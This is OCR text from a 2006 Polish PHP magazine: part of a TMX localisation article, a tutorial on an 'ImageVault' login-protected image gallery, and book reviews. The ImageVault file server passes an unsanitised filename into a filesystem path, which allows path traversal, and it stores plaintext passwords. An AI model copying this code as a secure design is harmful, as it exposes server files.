dować własnoręcznie: istnieje bardzo dobre rozwiązanie typu Open Source (licencja (GNU/GPL) oferujące opisaną wyżej funkcjonalność. Rozwiązanie to dostarczone jest w postaci klasy TMXResourceBundle, napisanej w języku PHP5 i dostępnej nieodpłatnie pod adresem http:// tmxphpbridge.sourceforge.net. Aktualna wersja standardu TMX (1.4b) opisuje dziesięć elementów strukturalnych i siedem elementów dołączonych. W kontekście używania klasy TMXResouceBundle do obsługi tłumaczenia prostego tekstu potrzeba nam jedynie trzech elementów: <tu>, <tuv> and <seg> (wszystkie opisane wyżej). Mając gotowy plik TMX z opisem zasobów tekstowych wykorzystywanych w ramach naszego przykładowego projektu, używanie klasy TMXResouceBundle jest dziecinnie proste (proponuję rzucić okiem na Listing 3). Musimy jedynie dołączyć odpowiedni plik i stworzyć obiekt wspomnianej klasy (np. $tmxres), przy czym jako parametr do konstruktora należy przekazać nazwę docelowego pliku TMX. Po wykonaniu tych czynności możemy korzystać ze wszystkich metod i składników oferowanych w ramach interfejsu klasy (np. resource, który pozwala pobrać napis powiązany z określanym kontenerem translacji). Taki sposób postępowania może być oczywiście znacznie rozbudowany i usprawniony, w zależności od potrzeb. Na przykład pierwsze dwa, ze wspomnianych kroków, można przenieść do pliku konfiguracyjnego PHP (dzięki temu będą uruchomione tylko raz), a następnie skorzystać z technik keszowania.

Listing 4. Konstruktor klasy TMXResouceBundle
public function __construct($tmxfile, $language) { // czyścimy tablicę $this->resource = array(); // ustawiamy wybrany język $this->language = strtoupper($language); // tworzymy nową instancję parsera XML, do użytku innych funkcji XML $this->parser = xml_parser_create(); // następująca funkcja pozwala wykorzystać stworzony parser wewnątrz obiektu xml_set_object($this->parser, $this); // wyłączamy w parserze opcję “case-folding” // (ignorowanie różnic wynikających z wielkosci liter) xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); // ustawiamy wywołanie zwrotne do obsługi elementów w parserze XML xml_set_element_handler($this->parser, "startElementHandler", "endElementHandler"); // ustawiamy wywołanie zwrotne do obsługi danych znakowych w parserze XML xml_set_character_data_handler($this->parser, "segContentHandler"); // rozpoczynamy parsowanie dokumentu if(!xml_parse($this->parser, file_get_contents($tmxfile))) { die(sprintf("ERROR TMXResourceBundle :: XML error: %s at line %d", xml_error_string(xml_get_error_code($this->parser)), xml_get_current_line_number($this->parser))); } // zwalniamy parser xml_parser_free($this->parser);

}

Listing 5. Wywołanie zwrotne do obsługi początków elementów XML
private function startElementHandler($parser, $name, $attribs) { switch(strtolower($name)) { case 'tu': { // jednosta translacyjna; zawiera unikalny identyfikator (tuid) if (array_key_exists('tuid', $attribs)) { $this->current_key = $attribs['tuid']; } break; } case 'tuv': { // wariant jednostki translacyjnej; zawiera kod języka if (array_key_exists('xml:lang', $attribs)) { $this->current_language = $attribs['xml:lang']; } break;

LISA

Założona w roku 1990, jest ogólnoświatową organizacją typu non-profit. Działalność tej organizacji można scharakteryzować za pomocą czterech haseł: Globalizacja, Internacjonalizacja, Lokalizacja i Translacja (w skrócie: GLIT). LISA skupia wokół siebie pojedyncze osoby, firmy, stowarzyszenia i organizacje, przy czym wszystkie te podmioty powiązane są z szeroko pojętym językoznawstwem, w kontekście technologii informatycznych. W ramach inicjatywy LISA działają liczni profesjonaliści reprezentujący ponad 400 wiodących producentów oraz dostawców usług z branży IT. Ich celem jest tworzenie wytycznych pracy oraz standardów dla technologii wspierających internacjonalizację, w pryzmacie globalizacji rynku i przedsiębiorstw.

}

}

} case 'seg': { // segment; zawiera przetłumaczony tekst $this->segdata = true; $this->current_data = ""; break; } default: { break; }

54

www.phpsolmag.org

PHP Solutions Nr 3/2006

Lokalizacja na bazie TMX
Prostym przykładem takiej techniki mogłoby być zapisywanie i odczytywanie tablicy $tmxres->resource do/z pliku bądź rekordu w bazie danych, przy wykorzystaniu mechanizmu serializacji. tekę expat). Funkcjonalność ta pozwala tworzyć niewalidujące parsery XML i definiować dla nich wywołania zwrotne reagujące na różnego rodzaju zdarzenia związane z procesem przetwarzania dokumentu XML. Jak każdy parser XML, również i ten mechanizm można odpowiednio dostosować do swoich potrzeb. Metoda startElementHandler() (Listing 5) ustala wartości zmiennych stanu w momencie otwarcia elementu TMX. Metoda endElementHandler() (Listing 6) resetuje te wartości kiedy element TMX jest zamykany. Zmienne stanu przechowują informacje na temat aktualnie przetwarzanego elementu TMX. Metoda
segContentHandler()

Narzędzia

Jak działa klasa TMXResouceBundle

Jak pokazano na Listingu 4, konstruktor klasy pobiera jako parametry nazwę i ścieżkę docelowego pliku TMX, a także kod ISO określający język. Wewnątrz konstruktora zdefiniowany jest parser TMX. Parser ten działa w oparciu o standardowe udogodnienie: PHP XML Parser Functions (wykorzystujące z kolei biblio-

Listing 6. Wywołanie zwrotne do obsługi końców elementów XML
private function endElementHandler($parser, $name) { switch(strtolower($name)) { case 'tu': { // jednosta translacyjna; zawiera unikalny identyfikator (tuid) $this->current_key = ""; break; } case 'tuv': { // wariant jednostki translacyjnej; zawiera kod języka $this->current_language = ""; break; } case 'seg': { // segment; zawiera przetłumaczony tekst $this->segdata = false; if (!empty($this->current_data) OR !array_key_exists($this->current_ key, $this->resource)) { $this->resource[$this->current_key] = $this->current_data; // ustawiamy nowy element tablicy } break; } default: { break; } } }

(Listing 7) przetwarza ciągi znaków umieszczone pomiędzy elementami dokumentu XML. Warto zauważyć, że w trakcie przetwarzania zawartości węzła <seg>, wartość atrybutu xml:lang dla nadrzędnego elementu tuv, odpowiada parametrowi $language przekazanemu w konstruktorze klasy. Metoda segContentHandler() odwzorowuje wybrany ciąg znaków na konkretny element tablicy zasobów. Odwołanie do tego elementu odbywa się przy użyciu atrybutu tuid (określonego w tagu tu), który wykorzystywany jest jako indeks. Po zakończeniu procesu parsowania, tablica zasobów będzie wypełniona danymi odpowiadającymi wybranemu językowi. Jak wspomniałem wyżej, indeksami dla poszczególnych elementów są odpowiadające im wartości identyfikatorów (tuid). Ostania z rozważanych metod: getResource (Listing 8), zwraca tablicę zasobów.

Podsumowanie

W niniejszym artykule przedstawiono podstawowe techniki internacjonalizacji w kontekście języka PHP. Pokazano jak, w łatwy sposób, można wykorzystać możliwości TMX, nawet przy ręcznym tworzeniu pliku z zasobami. Silne rozgraniczenie pomiędzy kodem aplikacji, a danymi, możliwość ponownego użycia jednostek translacji oraz wygoda i łatwość użytkowania czyni technologię TMX idealnym wyborem przy rozwiązywaniu problemów związanych z internacjonalizacją programów tworzonych w PHP. n

Listing 7. Wywołanie zwrotne do obsługi zawartości tekstowej występującej pomiędzy elementami XML
private function segContentHandler($parser, $data) { if($this->segdata AND (strlen($this->current_key)>0) AND (strlen($this>current_language)>0)){ // jesteśmy w środku elementu seg if (strcasecmp($this->current_language, $this->language) == 0) { // dotarliśmy do frazy stanowiącej tłumaczenie $this->current_data .= $data; } } }

O autorze
Nicola Asuni jest założycielem i prezesem firmy Tecnick.com S.r.l, będącej jednym z czołowych dostawców wysokiej klasy oprogramowania webowego opartego na licencji Open Source. Od 1993 roku autor pracował jako niezależny programista, udzielając się mocno w wielu projektach związanych z aplikacjami web. Jest miedzy innymi twórcą witryny Technick.net, a także członkiem i współzałożycielem stowarzyszenia Java User Group Sardegna Onlus i uczestnikiem GULCh – Gruppo Utenti Linux Cagliari. Dodatkowe informacje na temat autora można znaleźć pod adresem http://nicolaasuni.tecnick.com

Listing 8. Metoda getResource
public function getResource() { return $this->resource; }

PHP Solutions Nr 3/2006

www.phpsolmag.org

55

Projekty

ImageVault: Ograniczanie dostępu do plików graficznych i multimedialnych w PHP
Patrick O’Brien

Stopień trudności: lll

Każdy chyba ma jakieś prywatne zdjęcia, którymi za pośrednictwem strony internetowej chciałby się podzielić ze znajomymi, rodziną czy kolegami z pracy, ale które wolałby jednocześnie ukryć przed wścibskim ogółem internautów. Cel ten można łatwo osiągnąć mając do dyspozycji serwer WWW obsługujący PHP oraz przedstawioną w tym artykule aplikację kontrolującą dostęp do obrazów.

S
W SIECI
1. http://www.devshed.com/c/ a/PHP/Private-Pages-withPHP-and-Text-Files – alternatywne rozwiązanie zabezpieczania plików 2. http://www.expertsexchange.an/web.web_ Languages/PHP/Q_ 21267129.html – tutorial przedstawiający sposób zabezpieczania plików na serwerze.

wego czasu znajomy zapytał mnie, czy (i w jaki sposób) dałoby się ograniczyć dostęp do umieszczonych na jego stronie internetowej zdjęć jego dzieci grających w piłkę, aby były one wyświetlane wyłącznie autoryzowanym użytkownikom. Moim pierwszym pomysłem było zabezpieczenie całej witryny hasłem, jednak gdyby zdeterminowanemu użytkownikowi udało się ustalić nazwy i ścieżki plików graficznych, to mógłby on teoretycznie ominąć zabezpieczenia i wyświetlić chronione zdjęcia. Po chwili namysłu doszedłem do wniosku, że najbezpieczniej będzie umieścić pliki poza publicznie dostępnym katalogiem serwera WWW, a następnie napisać aplikację PHP, która na podstawie loginu i hasła będzie udostępniać te pliki autoryzowanym użytkownikom. Narzędzie to musi też umożliwiać wylogowanie użytkownika po zakończeniu przeglądania.

Podstawowa struktura systemu

Strukturę systemu przedstawia Rysunek 1. Nas najbardziej interesują elementy umieszczone w katalogu public_html. Poszczególne moduły aplikacji to:
l

Moduł logowania, sprawdzający informacje podane przez użytkownika i na ich podstawie podejmujący decyzję o dopuszczeniu go do chronionych danych. Moduł składa się z plików index.php i main.php.

Powinieneś wiedzieć...

Niezbędna będzie znajomość podstaw PHP.

Obiecujemy...

Stworzymy system udostępniający umieszczone na stronie pliki graficzne wyłącznie autoryzowanym użytkownikom.

56

www.phpsolmag.org

PHP Solutions Nr 3/2006

ImageVault

Projekty

l

l

l

Moduł wylogowania, pozwalający zalogowanemu użytkownikowi wyjść z aplikacji (plik logoff.php). Skrypt udostępniający uprawnionym użytkownikom pliki graficzne składowane poza katalogiem public_html (plik imageserver.php). Dwa skrypty narzędziowe: jeden generujący kod znaczników dostępnych obrazów (plik linkgen.php), a drugi uniemożliwiający zapisanie obrazu po kliknięciu go prawym przyciskiem myszy.

Logowanie

Po otwarciu głównej strony witryny, użytkownik powinien zobaczyć albo stronę ze zdjęciami (dla użytkowników zalogowanych), albo formularz logowania (dla wszystkich innych). Odpowiada za to plik index.php. Wyświetlany kod HTML będzie składowany w osobnym pliku index.html, który (podobnie jak same zdjęcia) będzie się znajdował poza publicznym katalogiem serwera WWW, w katalogu imagevault,

który z kolei możemy założyć w dowolnym katalogu, do którego będzie miał dostęp parser PHP (np. /usr/local/imagevault). Takie podejście pozwoli użytkownikowi aktualizować stronę poprzez zwykłą edycję kodu HTML w tym pliku. Jest to o tyle istotne, że użytkownik może nie mieć praw do modyfikacji skryptów wyświetlających galerię, ale na pewno będzie posiadał uprawnienia do zmiany własnych plików. Na Listingu 1 przedstawiamy kompletny kod pliku index.php. Jego działanie zaczyna się od dołączenia pliku showloginpage.php, po czym przebiega według następującego algorytmu:
l

Za generowanie ekranu logowania odpowiada funkcja showLoginPage(), zapisana w osobnym pliku showloginpage.php (Listing 2) i w tym przypadku wywoływana bez argumentu. Dane użytkownika podane przy logowaniu (login i hasło) są przesyłane do skryptu main.php (Listing 3), który wykonuje następujące operacje:
l l

Sprawdzenie parametrów sesji w celu zweryfikowania, czy użytkownik jest zalogowany: l Jeśli tak, zawartość pliku index.html jest odczytywana i przekazywana do przeglądarki, l Jeśli nie, użytkownik jest przekierowywany do ekranu logowania (showloginpage.php).

Pobranie przekazanego loginu i hasła Sprawdzenie, czy podane informacje są poprawne: l Jeśli tak, skrypt inicjalizuje sesję, ustawia zmienną sesyjną validuser i przekazuje do przeglądarki stronę index.html l Jeśli nie, użytkownikowi zostanie ponownie zaprezentowany ekran logowania, tym razem z dodatkową informacją o błędnych danych; to wyświetlenie również realizuje funkcja showLoginPage(), tym razem wywoływana z łańcuchem error jako argumentem.

Listing 1. Strona główna witryny (plik index.php)
/* Pat OBrien, 10 stycznia 2006 */ // Sprawdzenie, czy użytkownik jest zalogowany require_once "showloginpage.php"; session_start(); $validuser = $_SESSION['validuser']; if ($validuser == 10) { // Użytkownik jest zalogowany, więc otrzyma stronę index.html z katalogu // imagevault $lines = file("../imagevault/index.html"); foreach ($lines as $line) { print $line; } }else{ // Użytkownik nie jest jest zalogowany, więc otrzyma ekran logowania print (showLoginPage()); exit; ?>

Listing 2. Funkcja showLoginPage() (plik showloginpage.php)
function showLoginPage($msg_type='general'){ if($msg_type=='general'){ $message='Serwis dostępny wyłącznie dla użytkowników zalogowanych; <br>\n'; }elseif($msg_type=='error'){ $message='Nieprawidłowe dane użytkownika, spróbuj jeszcze raz; '; }elseif($msg_type=='logout'){ $message='Dziękujemy – zostałeś wylogowany z systemu.\n. Aby się ponownie zalogować, '; } $message='podaj login i hasło i kliknij przycisk'; $result="<html>\n<body bgcolor='#FFFFFF'>\n". "<form method='post' action='main.php' name='login'>\n". ... "</form></html>\n"; return $result; }

Loginy i hasła użytkowników są składowane w pliku tekstowym users.txt, znajdującym się w tym samym katalogu, co index.html (czyli imagevault). Zawartość pliku odczytuje funkcja get_users(), która następnie przetwarza pobrane dane i zapisuje je w tablicy $username. Za autoryzację użytkownika odpowiada funkcja check_ user(), która sprawdza, czy informacje podane w formularzu logowania odpowiadają jednemu z wpisów w pliku users.txt. Jeśli użytkownik ma prawo dostępu do strony, zostanie otwarta sesja użytkownika wraz z ustawieniem wspomnianej już zmiennej sesyjnej validuser, po czym do przeglądarki użytkownika zostanie wysłany kod strony głównej (index.html). W przypadku nieudanego logowania, użytkownik ponownie zobaczy ekran logowania.

Struktura plików i katalogów

Zanim zajmiemy się samym procesem udostępniania plików, wypadałoby raz jeszcze wyjaśnić strukturę plików i katalogów, z jaką mamy do czynienia – ilustruje ją Rysunek 1. Katalogiem głównym serwera WWW jest public_html, więc wszystkie pliki w obrębie tego katalogu są publicznie dostępne z Internetu. Chronione pliki umieścimy gdzie indziej – w katalogu imagevault.

PHP Solutions Nr 3/2006

www.phpsolmag.org

57

Projekty

ImageVault
następnie przekierowany do ekranu logowania, który ponownie wygenerujemy za pomocą funkcji showLoginPage(), tym razem przekazując łańcuch logout jako jej argument. Kod realizujący wylogowanie zostanie zapisany w pliku logoff.php (Listing 4), umieszczonym w katalogu public_html. Aby z niego skorzystać, wystarczy w kodzie HTML umieścić następujący odsyłacz: <a href="logoff.php">Wylogow anie</a>.

Wylogowanie

System powinien też umożliwiać użytkownikowi wylogowanie się. Osiągniemy to anulując wszystkie zmienne sesyjne wywołaniem session_unset(), a następnie usuwając bieżącą sesję wywołaniem session_destroy(). Użytkownik zostanie Listing 3. Logowanie (plik main.php)

Udostępnianie plików graficznych poprzez PHP

<?php /* Pat OBrien, 10 stycznia 2006 require_once "showloginpage.php"; function get_users() { // Pobiera listę autoryzowanych użytkowników global $username, $password, $nusers; $nusers = 0; $lines = file("../imagevault/users.txt"); foreach ($lines as $line) { // Każdy wiersz pliku powinien mieć postać [LOGIN]|[HASŁO] $elements = explode("|", $line); $username[$nusers] = trim($elements[0]); $password[$nusers] = trim($elements[1]); $nusers++; } } // Sprawdzenie, czy podane informacje odpowiadają jednemu z wpisów w pliku function check_user($username_entered,$password_entered) { global $username, $password, $nusers; $validuser = 0; for ($i=0;$i<$nusers;$i++) { if ( (strcmp($username_entered,$username[$i]) == 0) && (strcmp($password_entered,$password[$i]) == 0) ) { $validuser = 10; } } return $validuser; } /*---------------- Część główna ----------------------------------*/ $validuser = 0; // Pobranie nazwy użytkownika i hasła z formularza logowania $username_entered = $_REQUEST["username"]; $password_entered = $_REQUEST["password"]; // Pobranie listy autoryzowanych użytkowników z pliku /imagevault/users.txt get_users(); // Sprawdzenie poprawności podanych danych $validuser = check_user($username_entered,$password_entered); // Jeśli dane są poprawne: inicjalizacja sesji, ustawienie zmiennej sesyjnej // validuser // i zwrócenie klientowi strony index.html if ($validuser == 10) { // Przygotowanie i inicjalizacja sesji session_start(); session_register("validuser"); $_SESSION['validuser'] = $validuser; // Zwrócenie strony użytkownikowi $lines = file("../imagevault/index.html"); foreach ($lines as $line) { print $line; } }else { // Jeśli dane są błędne: ponowne wyświetlenie ekranu logowania print (ShowLoginPage('error')); } exit; ?>

*/

Pora przejść do sedna systemu, czyli procesu udostępniania plików graficznych. Kod realizujący to zadanie jest zapisany w pliku imageserver.php (Listing 5), a jego działanie obejmuje:
l

Sprawdzenie zmiennej sesyjnej validuser w celu zweryfikowania, czy użytkownik jest zalogowany: l Jeśli tak, skrypt pobiera nazwę żądanego pliku poprzez $_REQUEST['filename'], po czym odczytuje odpowiedni plik z katalogu imagevault i zwraca go żądającemu l Jeśli nie, skrypt zwraca pojedynczą spację i kończy działanie

Istotną kwestią w przypadku pliku imageserver.php jest sposób pobierania pliku obrazu i odsyłania go żądającemu. Wykorzystana jest tu funkcja fpassthru(), co ma tę zaletę, że operacja jest niemal tak szybka, jak bezpośredni dostęp do pliku, a na pewno dużo szybsza od wczytywania treści do zmiennej PHP i następującego po tym odsyłania jej klientowi. Drugą istotną kwestią jest to, że zażądanie nieistniejącego pliku spowoduje zapisanie komunikatu o błędzie w pliku errorlog.txt, znajdującym się w katalogu obrazów (jeśli plik nie istnieje, zostanie automatycznie utworzony). Rejestrowanie błędów pozwoli administratorowi witryny wykryć i poprawić błędne odsyłacze do plików graficznych.

Kolejne zwiększenie ochrony

Listing 4. Skrypt wylogowania (plik logoff.php)
<?php /* Pat OBrien, 01/02/2006 require_once "showloginpage.php"; session_start(); session_unset(); session_destroy(); print (ShowLoginPage('logout')); ?> */

Nieraz zdarza się, że właściciel plików graficznych chce je udostępnić wybranym użytkownikom, ale zarazem uniemożliwić lokalne zapisywanie obrazów poprzez klikanie ich prawym przyciskiem myszy i wybieranie Zapisz jako... z menu kontekstowego. Najprostszym rozwiązaniem będzie umieszczenie w obrębie znacznika <head> stron HTML zawierających obrazy funkcji JavaScriptu o nazwie rightmouse(), która będzie obsługiwać przechwycone zda-

58

www.phpsolmag.org

PHP Solutions Nr 3/2006

Recenzje

PHP5. Księga eksperta
Autor: John Coggeshall Wydawnictwo: Helion 2005 Cena: 89,00 zł

«««««

Książka PHP5. Księga eksperta tak naprawdę nie jest KSIĘGĄ EKSPERTA. Najchętniej określiłbym ją mianem “Vademecum dewelopera PHP”, choć i to byłoby trochę przesadzone. Najlepiej chyba pasuje tu określenie: Luźny przewodnik po różnych możliwościach PHP5. W książce znajdziemy informacje zupełnie podstawowe, jak również te, które wprowadzają już w świat “Profesjonalnego programowania w PHP”. Dowiemy się nieco o szablonach Smarty, PEAR, XSLT czy debugowaniu i optymalizacji skryptów PHP. Bardziej zaawansowani Czytelnicy mogą poczytać o szyfrowaniu danych, programowaniu obiektowym, obsłudze błędów czy tworzeniu witryn dla WAP. Znajdziemy też dodatki o migracji aplikacji z PHP4 do PHP5, czy ciekawy fragment o dobrych technikach programowania i zagadnieniach wydajności. W książce zdecydowanie brakuje praktycznych przykładów zaawansowanego tworzenia aplikacji w PHP5. Próżno szukać informacji o modelowaniu w UML, wykorzystaniu wzorców projektowych czy testowaniu aplikacji. Przydałoby się studium przypadku, w którym autor pokazałby, jak podejść do większego projektu informatycznego, jak go planować i nim zarządzać. W końcu każdy “Ekspert” musi mieć pojęcie o profesjonalnym tworzeniu większych aplikacji. Książka jest solidną i przydatną pozycją, nie do końca chyba jednak przydatną ekspertom od PHP.
Dariusz Pawłowski

ActionScript. Receptury
Autor: Joey Lott Wydawnictwo: Helion Cena: 99,90 zł

«««««

Kiedy zabierałem się do lektury „O’Reilly - ActionScript Receptury”, nie mogłem doczekać się otwarcia książki i zatopienia w recepturach i kolejnych sposobach na wyciśnięcie z flash’a maksymalnej funkcjonalności. Chcąc dowiedzieć się co czeka na mnie w tej pozycji, sięgnąłem do spisu treści, gdzie spotkało mnie lekkie rozczarowanie. Znając serię do jakiej książka należy, spodziewałem się, że już w pierwszym punkcie ujrzę recepturę która z miejsca powali mnie na kolana. Niestety tak się nie stało. Książka napisana została jako pozycja, którą czytać należy w jedyny słuszny sposób: od pierwszego rozdziału, traktującego o sprawach w niektórych przypadkach wręcz banalnych, do ostatniego, zawierającego już naprawdę rozbudowane receptury. Każdą z receptur zorganizowano w standardowej formie, z jaką często pracują programiści. Autorzy stawiają problem do rozwiązania, a następnie przedstawiają jego analizę i rozwiązanie. Pozwala to w pełni zrozumieć poszczególne receptury - bez konieczności zaglądania na inne strony w poszukiwaniu powiązanych zagadnień, które pomogłyby w zrozumieniu danego problemu (choć odniesienia do zagadnień poruszanych w innych działach zdarzają się w listingach). Na koniec zostawiłem coś, co uważam za poważną wadę dla każdego, kto będzie chciał w praktyce wykorzystać choćby fragmenty przykładów zaprezentowanych w książce. Zapoznałem się ze wszystkimi recepturami i zauważyłem, że w niektórych przypadkach listingi dołączone do rozdziałów przekraczały aż cztery strony! W przypadku prostych receptur rozwiązujących pojedyncze problemy przepisanie całego kodu nie powinno sprawić czytelnikowi większego problemu. Kiedy jednak mamy do czynienia z kodem aplikacji będącej „Centrum Teleczatu i Wiadomości Wideo” o dosyć dużej złożoności, umieszczenie kodu na płycie, bądź innym nośniku jest rozwiązaniem wręcz wymaganym, a na pewno o wiele bardziej trafnym niż druk. Niemniej jednak muszę przyznać, że wszystkie receptury zawarte w recenzowanej książce Joey’a Lott’a są naprawdę solidnie przygotowane i faktycznie rozwiązują wiele problemów, na jakie developer flash’a może natknąć się podczas codziennej pracy. Jednak osoby, które zajmują się tworzeniem aplikacji we flash’u profesjonalnie, mogą poczuć niedosyt po lekturze tej pozycji. Ogólnie mogę polecić tę książkę zarówno początkującym jak i zaawansowanym (ale nie profesjonalnym) użytkownikom pakietu Macromedii, a niedługo już Adobe.
Bartłomiej Wereszczyński

Projekty

ImageVault
rzenia MOUSEDOWN i MOUSEUP. Funkcja będzie sprawdzać, który przycisk myszy został naciśnięty, a w przypadku stwierdzenia naciśnięcia przycisku 2 lub 3 wyświetli powiadomienie informujące o wyłączeniu obsługi prawego przycisku myszy.

Listing 5. Skrypt udostępniający pliki graficzne (plik imageserver.php)
<?php /* Pat OBrien, 10 stycznia 2006 */ // Ustala rozszerzenie pliku function get_extentsion($instr) { $instr = trim($instr); if (strlen($instr)<1) {return "gif";} $type = strtolower(substr(strrchr($instr,"."),1)); return $type; } // Zapisuje komunikat o błędzie do pliku function write_error_log($filename) { // Otwarcie lub utworzenia pliku ../imagevault/errorlog.txt $efp = fopen('../imagevault/errorlog.txt', 'a'); // Utworzenie komunikatu o błędzie i zapisanie go do pliku $errormessage = "Błąd: Nie można otworzyć pliku - ".$filename; fwrite($efp, $errormessage); fclose($efp); return; } /* -------------------- Część główna ----------------- */ session_start(); $validuser = $_SESSION['validuser']; if ($validuser == 10) { $filename = $_REQUEST["filename"]; // Pobranie z żądania nazwy pliku graficznego $ext = get_extentsion($filename); // Pobranie rozszerzenia pliku $fullpath = "../imagevault/".$filename; // Dodanie pełnej ścieżki do pliku $fp = fopen($fullpath, 'rb'); // Tryb binarny tylko do odczytu if (!$fp) { // Zapisanie w logu komunikatu o nieudanej próbie otwarcia pliku write_error_log($filename); print (" "); }else { // Odesłanie klientowi poprawnie odczytanego pliku // Ustawienie odpowiednich nagłówków $h1 = "Content-Type: image/".$ext; header($h1); header("Content-Length: ".filesize($fullpath)); // Zrzut pliku i zakończenie skryptu. Funkcja fpassthru() sama zamknie // plik po zakończeniu działania, więc nie trzeba wywoływać fclose() rewind($fp); fpassthru($fp); } }else { print (" "); } // Użytkownik nieautoryzowany – odesłanie spacji exit; ?>

Dodawanie obrazów

Wszystko gotowe – pozostaje już tylko dodać pliki graficzne, które będą wyświetlane na stronie. Znacznik <img> każdego obrazu będzie zawierał odwołanie do skryptu imageserver.php, co będzie wyglądało mniej więcej tak:
<img src="imageserver.php?filename= image1.gif" width="200" height="100">

Teoretycznie wystarczy więc odpowiednio podmienić nazwę pliku i rozmiary obrazu. Nie jest to oczywiście zadanie trudne, ale przy galeriach liczących setki zdjęć ręczne wprowadzanie znaczników jest zajęciem żmudnym i podatnym na błędy. Z tego też względu utworzymy skrypt pomocniczy, który odczyta nazwy plików z katalogu imagevault i automatycznie wygeneruje kod odpowiednich znaczników <img>, który użytkownicy będą mogli po prostu skopiować i wkleić na stronę. Kod skryptu zawiera plik linkgen.php (Listing 7), umieszczony w katalogu public_html.

Przygotowanie systemu

Listing 6. Kod JavaScriptu wyłączający obsługę prawego przycisku myszy
<head><script language="JavaScript1.1"> function rightmouse(e) { if (navigator.appName == 'Netscape' && (e.which == 3 || e.which == 2)) return false; else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button == 2 || event.button == 3)) { alert("Obsługa prawego przycisku myszy jest wyłączona."); return false; } return true; } document.onmousedown=rightmouse; document.onmouseup=rightmouse; if (document.layers) window.captureEvents(Event.MOUSEDOWN); if (document.layers) window.captureEvents(Event.MOUSEUP); window.onmousedown=rightmouse; window.onmouseup=rightmouse; </script></HEAD>

Gdy mamy już wszystkie skrypty (index.php, main.php, imageserver.php, logoff.php i linkgen.php), musimy je umieścić w katalogu public_html, a następnie utworzyć katalog imagevault na tym samym poziomie, co public_html. Potem bierzemy dowolne dwa obrazy (na przykład image1.gif i image2.gif) i umieszczamy je w katalogu imagevault. Musimy jeszcze dodać nowego użytkownika poprzez utworzenie pliku users.txt w kata-

Rysunek 1. Struktura plików systemu ImageVault

60

www.phpsolmag.org

PHP Solutions Nr 3/2006

ImageVault
logu obrazów i zapisanie w nim wiersza o treści testuser|pass. Ostatni etap to utworzenie dwóch testowych stron HTML. Pierwszą jest wspomniana wcześniej strona index.html, czyli faktyczna strona główna. W katalogu imagevault tworzymy plik o następującej treści:
<html> <body bgcolor="#FFFFFF">

Projekty

<h1>Witamy na naszej stronie!</h1> <a href="pictures.htm"> Kliknij tutaj, by zobaczyć zdjęcia</A> </body> </html>

Listing 7. Skrypt linkgen.php generujący kod HTML ze znacznikami <img> dostępnych obrazów
<?php /* Pat OBrien, 1 lutego 2006 */ require_once "showloginpage.php"; function isimage($instr) { // Ustalenie rozszerzenia pliku $isimage = false; $instr = trim($instr); if (strlen($instr)<1) {return false;} $type = strtolower(substr(strrchr($instr,"."),1)); if ( strcmp("gif", $type)==0 ) {$isimage = true;} if ( strcmp("png", $type)==0 ) {$isimage = true;} if ( strcmp("jpg", $type)==0 ) {$isimage = true;} if ( strcmp("jpeg", $type)==0 ) {$isimage = true;} if ( strcmp("bmp", $type)==0 ) {$isimage = true;} return $isimage; } /* --------------- Część główna ------------------------------ */ session_start(); $validuser = $_SESSION['validuser']; if ($validuser == 10) { $content = "<html><body bgcolor='#FFFFFF'>\n". "<table width='800' border='0' cellspacing='0' cellpadding='5'>\n". " <tr bgcolor='#006666'>\n<td><font face='Arial, Helvetica, sans-serif' " size='2' color='#CCFFFF'>Nazwa pliku graficznego</font></td>\n". " <td><font face='Arial, Helvetica, sans-serif' size='2' color='#CCFFFF'> Kod HTML obrazu</font></td>\n</tr>\n"; // Pobranie listy nazw udostępnianych plików graficznych if ($handle = opendir('../imagevault/')) { while (false !== ($file = readdir($handle))) { $file = basename(trim($file)); if (isimage($file)) { $fullpath = "../imagevault/".$file; $size = getimagesize($fullpath); if ($size) { // Utworzenie znacznika <img> dla bieżącego pliku $imgtag = "<IMG SRC=\"imageserver.php?filename=".$file."\" WIDTH=\"".$size[0]."\"HEIGHT=\"".$size[1]."\">"; // Utworzenie wpisu w tabeli dla bieżącego pliku $content .= " <tr bgcolor='#EEEEEE'>\n". "<td><font face='Arial, Helvetica, sans-serif' size='2'>".$file. "</font></td>\n<td><font face='Arial, Helvetica, sans-serif' "size='2'>\n<input type='text' name='imgtag' size='100' maxlength='160' value='".$imgtag."'>\n</font></td></tr>\n"; } } } $content .= "</table></body></html>\n"; closedir($handle); } print $content; // Wypisanie plików z kodem odpowiednich znaczników <img> }else { print(showLoginPage()); } // Użytkownik nieautoryzowany exit; ?>

Ostatnim plikiem jest strona galerii pictures.html (Listing 8), również zapisana w katalogu public_html.

Próba generalna

Skoro wszystko jest już gotowe, pora wypróbować nasz system: otwieramy przeglądarkę i wpisujemy adres strony pictures.html. Powinna się pokazać strona zawierająca dwie ikony nieistniejących obrazów, czyli dokładnie to, o co nam chodziło – aby zobaczyć obrazy, trzeba się zalogować. Otwieramy więc stronę index.php i wprowadzamy testowy login i hasło (testuser i pass) w formularzu logowania. W efekcie powinna zostać wyświetlona strona index.html. Kliknięcie jedynego dostępnego odsyłacza przeniesie nas na stronę pictures.html: tym razem obrazy powinny być wyświetlane poprawnie.

Podsumowanie

Jak widać, kontrolowanie dostępu do wybranych plików za pomocą skryptu PHP na serwerze jest proste i szybkie. Nie trzeba korzystać z rozbudowanych systemów kontroli dostępu tylko po to, by chronić wybrane pliki na własnej stronie domowej czy na witrynie klubowej. Przedstawiony system może posłużyć za podstawę dla bardziej zaawansowanych rozwiązań, uwzględniających na przykład automatyczną rejestrację i usuwanie użytkowników, zróżnicowane poziomy dostępu i wszelkie inne operacje, jakie mogą być potrzebne. Tak czy inaczej, pamiętajmy zawsze, że kluczem do sukcesu projektów programistycznych jest ich jak największa prostota. n

Listing 8. Kod pliku pictures.html
<html> <body bgcolor="#FFFFFF"> <h1>Our Pictures</h1> <img src="imageserver.php?filename=image1.gif" width="200" height=”100”> <br><br> <img src="imageserver.php?filename=image2.gif" width="200" height=”100”> </body> </html>

O autorze
Patrick O’Brien jest założycielem i twórcą serwisu Jpowered.com (http://www. jpowered.com), dostarczającego zaawansowane rozwiązania dla twórców witryn internetowych i programistów.

PHP Solutions Nr 3/2006

www.phpsolmag.org

61

Projekty

Mariaż Pythona i PHP. Tworzymy interfejs graficzny z wykorzystaniem SOAP
Stopień trudności:
Krzysztof Sobolewski

